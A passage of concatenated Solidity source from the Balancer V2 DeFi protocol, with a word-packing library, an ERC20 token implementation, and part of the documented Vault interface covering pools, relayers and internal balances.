strictly less gas performant, and doesn't even * prevent stack-too-deep issues. This is compounded by the fact that Balancer contracts typically are memory-intensive, * and the cost of accesing memory increases quadratically with the number of allocated words. Manual packing and * unpacking is therefore the preferred approach. */ library WordCodec { // Masks are values with the least significant N bits set. They can be used to extract an encoded value from a word, // or to insert a new one replacing the old. uint256 private constant _MASK_1 = 2**(1) - 1; uint256 private constant _MASK_5 = 2**(5) - 1; uint256 private constant _MASK_7 = 2**(7) - 1; uint256 private constant _MASK_10 = 2**(10) - 1; uint256 private constant _MASK_16 = 2**(16) - 1; uint256 private constant _MASK_22 = 2**(22) - 1; uint256 private constant _MASK_31 = 2**(31) - 1; uint256 private constant _MASK_32 = 2**(32) - 1; uint256 private constant _MASK_53 = 2**(53) - 1; uint256 private constant _MASK_64 = 2**(64) - 1; uint256 private constant _MASK_96 = 2**(96) - 1; uint256 private constant _MASK_128 = 2**(128) - 1; uint256 private constant _MASK_192 = 2**(192) - 1; // Largest positive values that can be represented as N bits signed integers. int256 private constant _MAX_INT_22 = 2**(21) - 1; int256 private constant _MAX_INT_53 = 2**(52) - 1; // In-place insertion /** * @dev Inserts a boolean value shifted by an offset into a 256 bit word, replacing the old value. Returns the new * word. */ function insertBool( bytes32 word, bool value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_1 << offset)); return clearedWord | bytes32(uint256(value ? 1 : 0) << offset); } // Unsigned /** * @dev Inserts a 5 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` only uses its least significant 5 bits, otherwise it may overwrite sibling bytes. */ function insertUint5( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_5 << offset)); return clearedWord | bytes32(value << offset); } /** * @dev Inserts a 7 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` only uses its least significant 7 bits, otherwise it may overwrite sibling bytes. */ function insertUint7( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_7 << offset)); return clearedWord | bytes32(value << offset); } /** * @dev Inserts a 10 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` only uses its least significant 10 bits, otherwise it may overwrite sibling bytes. */ function insertUint10( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_10 << offset)); return clearedWord | bytes32(value << offset); } /** * @dev Inserts a 16 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. * Returns the new word. * * Assumes `value` only uses its least significant 16 bits, otherwise it may overwrite sibling bytes. */ function insertUint16( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_16 << offset)); return clearedWord | bytes32(value << offset); } /** * @dev Inserts a 31 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` can be represented using 31 bits. */ function insertUint31( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_31 << offset)); return clearedWord | bytes32(value << offset); } /** * @dev Inserts a 32 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` only uses its least significant 32 bits, otherwise it may overwrite sibling bytes. */ function insertUint32( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_32 << offset)); return clearedWord | bytes32(value << offset); } /** * @dev Inserts a 64 bit unsigned integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` only uses its least significant 64 bits, otherwise it may overwrite sibling bytes. */ function insertUint64( bytes32 word, uint256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_64 << offset)); return clearedWord | bytes32(value << offset); } // Signed /** * @dev Inserts a 22 bits signed integer shifted by an offset into a 256 bit word, replacing the old value. Returns * the new word. * * Assumes `value` can be represented using 22 bits. */ function insertInt22( bytes32 word, int256 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_22 << offset)); // Integer values need masking to remove the upper bits of negative values. return clearedWord | bytes32((uint256(value) & _MASK_22) << offset); } // Bytes /** * @dev Inserts 192 bit shifted by an offset into a 256 bit word, replacing the old value. Returns the new word. * * Assumes `value` can be represented using 192 bits. */ function insertBits192( bytes32 word, bytes32 value, uint256 offset ) internal pure returns (bytes32) { bytes32 clearedWord = bytes32(uint256(word) & ~(_MASK_192 << offset)); return clearedWord | bytes32((uint256(value) & _MASK_192) << offset); } // Encoding // Unsigned /** * @dev Encodes an unsigned integer shifted by an offset. This performs no size checks: it is up to the caller to * ensure that the values are bounded. * * The return value can be logically ORed with other encoded values to form a 256 bit word. */ function encodeUint(uint256 value, uint256 offset) internal pure returns (bytes32) { return bytes32(value << offset); } // Signed /** * @dev Encodes a 22 bits signed integer shifted by an offset. * * The return value can be logically ORed with other encoded values to form a 256 bit word. */ function encodeInt22(int256 value, uint256 offset) internal pure returns (bytes32) { // Integer values need masking to remove the upper bits of negative values. return bytes32((uint256(value) & _MASK_22) << offset); } /** * @dev Encodes a 53 bits signed integer shifted by an offset. * * The return value can be logically ORed with other encoded values to form a 256 bit word. */ function encodeInt53(int256 value, uint256 offset) internal pure returns (bytes32) { // Integer values need masking to remove the upper bits of negative values. return bytes32((uint256(value) & _MASK_53) << offset); } // Decoding /** * @dev Decodes and returns a boolean shifted by an offset from a 256 bit word. */ function decodeBool(bytes32 word, uint256 offset) internal pure returns (bool) { return (uint256(word >> offset) & _MASK_1) == 1; } // Unsigned /** * @dev Decodes and returns a 5 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint5(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_5; } /** * @dev Decodes and returns a 7 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint7(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_7; } /** * @dev Decodes and returns a 10 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint10(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_10; } /** * @dev Decodes and returns a 16 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint16(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_16; } /** * @dev Decodes and returns a 31 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint31(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_31; } /** * @dev Decodes and returns a 32 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint32(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_32; } /** * @dev Decodes and returns a 64 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint64(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_64; } /** * @dev Decodes and returns a 96 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint96(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_96; } /** * @dev Decodes and returns a 128 bit unsigned integer shifted by an offset from a 256 bit word. */ function decodeUint128(bytes32 word, uint256 offset) internal pure returns (uint256) { return uint256(word >> offset) & _MASK_128; } // Signed /** * @dev Decodes and returns a 22 bits signed integer shifted by an offset from a 256 bit word. */ function decodeInt22(bytes32 word, uint256 offset) internal pure returns (int256) { int256 value = int256(uint256(word >> offset) & _MASK_22); // In case the decoded value is greater than the max positive integer that can be represented with 22 bits, // we know it was originally a negative integer. Therefore, we mask it to restore the sign in the 256 bit // representation. return value > _MAX_INT_22 ? (value | int256(~_MASK_22)) : value; } /** * @dev Decodes and returns a 53 bits signed integer shifted by an offset from a 256 bit word. */ function decodeInt53(bytes32 word, uint256 offset) internal pure returns (int256) { int256 value = int256(uint256(word >> offset) & _MASK_53); // In case the decoded value is greater than the max positive integer that can be represented with 53 bits, // we know it was originally a negative integer. Therefore, we mask it to restore the sign in the 256 bit // representation. return value > _MAX_INT_53 ? (value | int256(~_MASK_53)) : value; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../helpers/BalancerErrors.sol"; import "./IERC20.sol"; import "./SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, msg.sender, _allowances[sender][msg.sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_ALLOWANCE) ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, Errors.ERC20_DECREASED_ALLOWANCE_BELOW_ZERO) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { _require(sender != address(0), Errors.ERC20_TRANSFER_FROM_ZERO_ADDRESS); _require(recipient != address(0), Errors.ERC20_TRANSFER_TO_ZERO_ADDRESS); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_BALANCE); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { _require(account != address(0), Errors.ERC20_BURN_FROM_ZERO_ADDRESS); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, Errors.ERC20_BURN_EXCEEDS_BALANCE); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/IAuthentication.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/ISignaturesValidator.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/ITemporarilyPausable.sol"; import "@balancer-labs/v2-solidity-utils/contracts/misc/IWETH.sol"; import "./IAsset.sol"; import "./IAuthorizer.sol"; import "./IFlashLoanRecipient.sol"; import "./IProtocolFeesCollector.sol"; pragma solidity ^0.7.0; /** * @dev Full external interface for the Vault core contract - no external or public methods exist in the contract that * don't override one of these declarations. */ interface IVault is ISignaturesValidator, ITemporarilyPausable, IAuthentication { // Generalities about the Vault: // // - Whenever documentation refers to 'tokens', it strictly refers to ERC20-compliant token contracts. Tokens are // transferred out of the Vault by calling the `IERC20.transfer` function, and transferred in by calling // `IERC20.transferFrom`. In these cases, the sender must have previously allowed the Vault to use their tokens by // calling `IERC20.approve`. The only deviation from the ERC20 standard that is supported is functions not returning // a boolean value: in these scenarios, a non-reverting call is assumed to be successful. // // - All non-view functions in the Vault are non-reentrant: calling them while another one is mid-execution (e.g. // while execution control is transferred to a token contract during a swap) will result in a revert. View // functions can be called in a re-reentrant way, but doing so might cause them to return inconsistent results. // Contracts calling view functions in the Vault must make sure the Vault has not already been entered. // // - View functions revert if referring to either unregistered Pools, or unregistered tokens for registered Pools. // Authorizer // // Some system actions are permissioned, like setting and collecting protocol fees. This permissioning system exists // outside of the Vault in the Authorizer contract: the Vault simply calls the Authorizer to check if the caller // can perform a given action. /** * @dev Returns the Vault's Authorizer. */ function getAuthorizer() external view returns (IAuthorizer); /** * @dev Sets a new Authorizer for the Vault. The caller must be allowed by the current Authorizer to do this. * * Emits an `AuthorizerChanged` event. */ function setAuthorizer(IAuthorizer newAuthorizer) external; /** * @dev Emitted when a new authorizer is set by `setAuthorizer`. */ event AuthorizerChanged(IAuthorizer indexed newAuthorizer); // Relayers // // Additionally, it is possible for an account to perform certain actions on behalf of another one, using their // Vault ERC20 allowance and Internal Balance. These accounts are said to be 'relayers' for these Vault functions, // and are expected to be smart contracts with sound authentication mechanisms. For an account to be able to wield // this power, two things must occur: // - The Authorizer must grant the account the permission to be a relayer for the relevant Vault function. This // means that Balancer governance must approve each individual contract to act as a relayer for the intended // functions. // - Each user must approve the relayer to act on their behalf. // This double protection means users cannot be tricked into approving malicious relayers (because they will not // have been allowed by the Authorizer via governance), nor can malicious relayers approved by a compromised // Authorizer or governance drain user funds, since they would also need to be approved by each individual user. /** * @dev Returns true if `user` has approved `relayer` to act as a relayer for them. */ function hasApprovedRelayer(address user, address relayer) external view returns (bool); /** * @dev Allows `relayer` to act as a relayer for `sender` if `approved` is true, and disallows it otherwise. * * Emits a `RelayerApprovalChanged` event. */ function setRelayerApproval( address sender, address relayer, bool approved ) external; /** * @dev Emitted every time a relayer is approved or disapproved by `setRelayerApproval`. */ event RelayerApprovalChanged(address indexed relayer, address indexed sender, bool approved); // Internal Balance // // Users can deposit tokens into the Vault, where they are allocated to their Internal Balance, and later // transferred or withdrawn. It can also be used as a source of tokens when joining Pools, as a destination // when exiting them, and as either when performing swaps. This usage of Internal Balance results in greatly reduced // gas costs when compared to relying on plain ERC20 transfers, leading to large savings for frequent users. // // Internal Balance management features batching, which means a single contract call can be used to perform multiple // operations of different kinds, with different senders and recipients, at once. /** * @dev Returns `user`'s Internal Balance for a set of tokens. */ function getInternalBalance(address user, IERC20[] memory tokens) external view returns (uint256[] memory); /** * @dev Performs a set of user balance operations, which involve Internal Balance (deposit, withdraw or transfer) * and plain ERC20 transfers using the Vault's allowance. This last feature is particularly useful for relayers, as * it lets integrators reuse a user's Vault allowance. * * For each operation, if the caller is not `sender`, it must be an authorized relayer for them. */ function manageUserBalance(UserBalanceOp[] memory ops) external payable; /** * @dev Data for `manageUserBalance` operations, which include the possibility for ETH to be sent and received without manual WETH wrapping or unwrapping. */ struct UserBalanceOp { UserBalanceOpKind kind; IAsset asset; uint256 amount; address sender; address payable recipient; } // There are four possible operations in `manageUserBalance`: // // - DEPOSIT_INTERNAL // Increases the Internal Balance of the `recipient` account by transferring tokens from the corresponding // `sender`. The sender must have allowed the Vault to use their tokens via `IERC20.approve()`. // // ETH can be used by passing the ETH sentinel value as the asset and forwarding ETH in the call: it will be wrapped // and deposited as WETH. Any ETH amount remaining will be sent back to the caller (not the sender, which is // relevant for relayers). // // Emits an `InternalBalanceChanged` event. // // // - WITHDRAW_INTERNAL // Decreases the Internal Balance of the `sender` account by transferring tokens to the `recipient`. // // ETH can be used by passing the ETH sentinel value as the asset. This will deduct WETH instead, unwrap it and send // it to the recipient as ETH. // // Emits an `InternalBalanceChanged` event. // // // - TRANSFER_INTERNAL // Transfers tokens from the Internal Balance of the `sender` account to the Internal Balance of `recipient`. // // Reverts if the ETH sentinel value is passed. // // Emits an `InternalBalanceChanged` event. // // // - TRANSFER_EXTERNAL // Transfers tokens from `sender` to `recipient`, using the Vault's ERC20 allowance. This is typically used by // relayers, as it lets them reuse a user's Vault allowance. // // Reverts if the ETH sentinel value is passed. // // Emits an `ExternalBalanceTransfer` event. enum UserBalanceOpKind { DEPOSIT_INTERNAL, WITHDRAW_INTERNAL, TRANSFER_INTERNAL, TRANSFER_EXTERNAL } /** * @dev Emitted when a user's Internal Balance changes, either from calls to `manageUserBalance`, or through * interacting with Pools using Internal Balance. * * Because Internal Balance works exclusively with ERC20 tokens, ETH deposits and withdrawals will use the WETH * address. */ event InternalBalanceChanged(address indexed user, IERC20 indexed token, int256 delta); /** * @dev Emitted when a user's Vault ERC20 allowance is used by the Vault to transfer tokens to an external account. */ event ExternalBalanceTransfer(IERC20 indexed token, address indexed sender, address recipient, uint256 amount); // Pools // // There are three specialization settings for Pools, which allow for cheaper swaps at the cost of reduced // functionality: // // - General: no specialization, suited for all Pools. IGeneralPool is used for swap request callbacks, passing the // balance of all tokens in the Pool. These Pools have the largest swap costs (because of the extra storage reads), // which increase with the number of registered tokens. // // - Minimal Swap Info: IMinimalSwapInfoPool is used instead of IGeneralPool, which saves gas by only passing the // balance of the two tokens involved in the swap. This is suitable for some pricing algorithms, like the weighted // constant product one popularized by Balancer V1. Swap costs are smaller compared to general Pools, and are // independent of the number of registered tokens. // // - Two Token: only allows two tokens to be registered. This achieves the lowest possible swap gas cost. Like // minimal swap info Pools, these are called via IMinimalSwapInfoPool. enum PoolSpecialization { GENERAL, MINIMAL_SWAP_INFO, TWO_TOKEN } /** * @dev Registers the caller account as a Pool with a given specialization setting. Returns the Pool's ID, which * is used in all Pool-related functions. Pools cannot be deregistered, nor can the Pool's specialization be * changed. * * The caller is expected to be a smart contract that implements either `IGeneralPool` or `IMinimalSwapInfoPool`, * depending on the chosen specialization setting. This contract is known as the Pool's contract. * * Note that the same contract may register itself as multiple Pools with unique Pool IDs, or in other words, * multiple Pools may share the same contract. * * Emits a `PoolRegistered` event. */ function registerPool(PoolSpecialization specialization) external returns (bytes32); /** * @dev Emitted when a Pool is registered by calling `registerPool`. */ event PoolRegistered(bytes32 indexed poolId, address indexed poolAddress, PoolSpecialization specialization); /** * @dev Returns a Pool's contract address and specialization setting. */ function getPool(bytes32 poolId) external view returns (address, PoolSpecialization); /** * @dev Registers `tokens` for the `poolId` Pool. Must be called by the Pool's contract. * * Pools can only interact with tokens they have registered. Users join a Pool by transferring registered tokens, * exit by receiving registered tokens, and can only swap registered tokens. * * Each token can only be registered once. For Pools with the Two Token specialization, `tokens` must have a length * of two, that is, both tokens must be registered in the same `registerTokens` call, and they must be sorted in * ascending order. * * The `tokens` and `assetManagers` arrays must have the same length, and each entry in these indicates the Asset * Manager for the corresponding token. Asset Managers can manage a Pool's tokens via `managePoolBalance`, * depositing and withdrawing them directly, and can even set their balance to arbitrary amounts. They are therefore * expected to be highly secured smart contracts with sound design principles, and the decision to register an * Asset Manager should not be made lightly. * * Pools can choose not to assign an Asset Manager to a given token by passing in the zero address. Once an Asset * Manager is set, it cannot be changed except by deregistering the associated token and registering again with a * different Asset Manager. * * Emits a `TokensRegistered` event. */ function registerTokens( bytes32 poolId, IERC20[] memory tokens, address[] memory assetManagers ) external; /** * @dev Emitted when a Pool registers tokens by calling `registerTokens`. */ event TokensRegistered(bytes32 indexed poolId, IERC20[] tokens, address[] assetManagers); /** * @dev Deregisters `tokens` for the `poolId` Pool. Must be called by the Pool's contract. * * Only registered tokens (via `registerTokens`) can be deregistered. Additionally, they must have zero total * balance. For Pools with the Two Token specialization, `tokens` must have a length of two, that is, both tokens * must be deregistered in the same `deregisterTokens` call. * * A deregistered token can be re-registered later on, possibly with a different Asset Manager. * * Emits a `TokensDeregistered` event. */ function deregisterTokens(bytes32 poolId, IERC20[] memory tokens) external; /** * @dev Emitted when a Pool deregisters tokens by calling `deregisterTokens`. */ event TokensDeregistered(bytes32 indexed poolId, IERC20[] tokens); /** * @dev Returns detailed information for a Pool's registered token. * * `cash` is the number of tokens the Vault currently holds for the Pool. `managed` is the number of tokens * withdrawn and held outside the Vault by the Pool's token Asset Manager. The Pool's total balance for `token` * equals the sum of `cash` and `managed`. * * Internally, `cash` and `managed` are stored using 112 bits. No action can ever cause a Pool's token `cash`, * `managed` or `total` balance to be greater than 2^112 - 1. * * `lastChangeBlock` is the number of the block in which `token`'s total balance was last modified (via either a * join, exit, swap, or Asset Manager update). This value is useful to avoid so-called 'sandwich attacks', for * example when developing price oracles. A change of zero (e.g. caused by a swap with amount zero) is considered a * change for this purpose, and will update `lastChangeBlock`. * * `assetManager` is the Pool's token Asset Manager. */ function getPoolTokenInfo(bytes32 poolId, IERC20 token) external view returns ( uint256 cash, uint256 managed, uint256 lastChangeBlock, address assetManager ); /** * @dev Returns a Pool's registered tokens, the total balance for each, and the latest block when *any* of * the tokens' `balances` changed. * * The order of the `tokens` array is the same order that will be used in `joinPool`, `exitPool`, as well as in all * Pool hooks (where applicable). Calls to `registerTokens` and `deregisterTokens` may change this order. * * If a Pool only registers tokens once, and these are sorted in ascending order, they will be stored in the same * order as passed to `registerTokens`. * * Total balances include both tokens held by the Vault and those withdrawn by the Pool's Asset Managers. These are * the amounts used by joins, exits and swaps. For a detailed breakdown of token balances, use `getPoolTokenInfo` * instead. */ function getPoolTokens(bytes32 poolId) external view returns ( IERC20[] memory tokens, uint256[] memory balances, uint256 lastChangeBlock ); /** * @dev Called by users to join a Pool, which transfers tokens from `sender` into the Pool's balance. This will * trigger custom Pool behavior, which will typically grant something in return to `recipient` - often tokenized * Pool shares. * * If the caller is not `sender`, it must be an authorized relayer for them. * * The `assets` and `maxAmountsIn` arrays must have the same length, and each entry indicates the maximum amount * to send for each asset. The amounts to send are decided by the Pool and not the Vault: it just enforces * these maximums. * * If joining a Pool that holds WETH, it is possible to send ETH directly: the Vault will do the wrapping. To enable * this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead of the * WETH address. Note that it is not possible to combine ETH and WETH in the same join. Any excess ETH will be sent * back to the caller (not the sender, which is important for relayers). * * `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when * interacting with Pools that register and deregister tokens frequently. If sending ETH however, the array must be * sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the final * `assets` array might not be sorted. Pools with no registered tokens cannot be joined. * * If `fromInternalBalance` is true, the caller's Internal Balance will be preferred: ERC20 transfers will only * be made for the difference between the requested amount and Internal Balance (if any). Note that ETH cannot be * withdrawn from Internal Balance: attempting to do so will trigger a revert. * * This causes the Vault to call the `IBasePool.onJoinPool` hook on the Pool's contract, where Pools implement * their own custom logic. This typically requires additional information from the user (such as the expected number * of Pool shares). This can be encoded in the `userData` argument, which is ignored by the Vault and passed * directly to the Pool's contract, as is `recipient`. * * Emits a `PoolBalanceChanged` event. */ function joinPool( bytes32 poolId, address sender, address recipient, JoinPoolRequest memory request ) external payable; struct JoinPoolRequest { IAsset[] assets; uint256[] maxAmountsIn; bytes userData; bool fromInternalBalance; } /** * @dev Called by users to exit a Pool, which transfers tokens from the Pool's balance to `recipient`. This will * trigger custom Pool behavior, which will typically ask for something in return from `sender` - often tokenized * Pool shares. The amount of tokens that can be withdrawn is limited by the Pool's `cash` balance (see * `getPoolTokenInfo`). * * If the caller is not `sender`, it must be an authorized relayer for them. * * The `tokens` and `minAmountsOut` arrays must have the same length, and each entry in these indicates the minimum * token amount to receive for each token contract. The amounts to send are decided by the Pool and not the Vault: * it just enforces these minimums. * * If exiting a Pool that holds WETH, it is possible to receive ETH directly: the Vault will do the unwrapping. To * enable this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead * of the WETH address. Note that it is not possible to combine ETH and WETH in the same exit. * * `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when * interacting with Pools that register and deregister tokens frequently. If receiving ETH however, the array must * be sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the * final `assets` array might not be sorted. Pools with no registered tokens cannot be exited. * * If `toInternalBalance` is true, the tokens will be deposited to `recipient`'s Internal Balance. Otherwise, * an ERC20 transfer will be performed. Note that ETH cannot be deposited to Internal Balance: attempting to * do so will trigger a revert. * * `minAmountsOut` is the minimum amount of tokens the user expects to get out of the Pool, for each token in the * `tokens` array. This array must match the Pool's registered tokens. * * This causes the Vault to call the `IBasePool.onExitPool` hook on the Pool's contract, where Pools implement * their own custom logic. This typically requires additional information from the user (such as the expected number * of Pool shares to return). This can be encoded in the `userData` argument, which is ignored by the Vault and * passed directly to the Pool's contract. * * Emits a `PoolBalanceChanged` event. */ function exitPool( bytes32 poolId, address sender, address payable recipient, ExitPoolRequest memory request ) external; struct ExitPoolRequest { IAsset[] assets; uint256[] minAmountsOut; bytes userData; bool toInternalBalance; } /** * @dev Emitted when a user joins or exits a Pool by calling `joinPool` or `exitPool`, respectively. */ event PoolBalanceChanged( bytes32 indexed poolId, address indexed liquidityProvider, IERC20[] tokens, int256[] deltas, uint256[] protocolFeeAmounts ); enum PoolBalanceChangeKind { 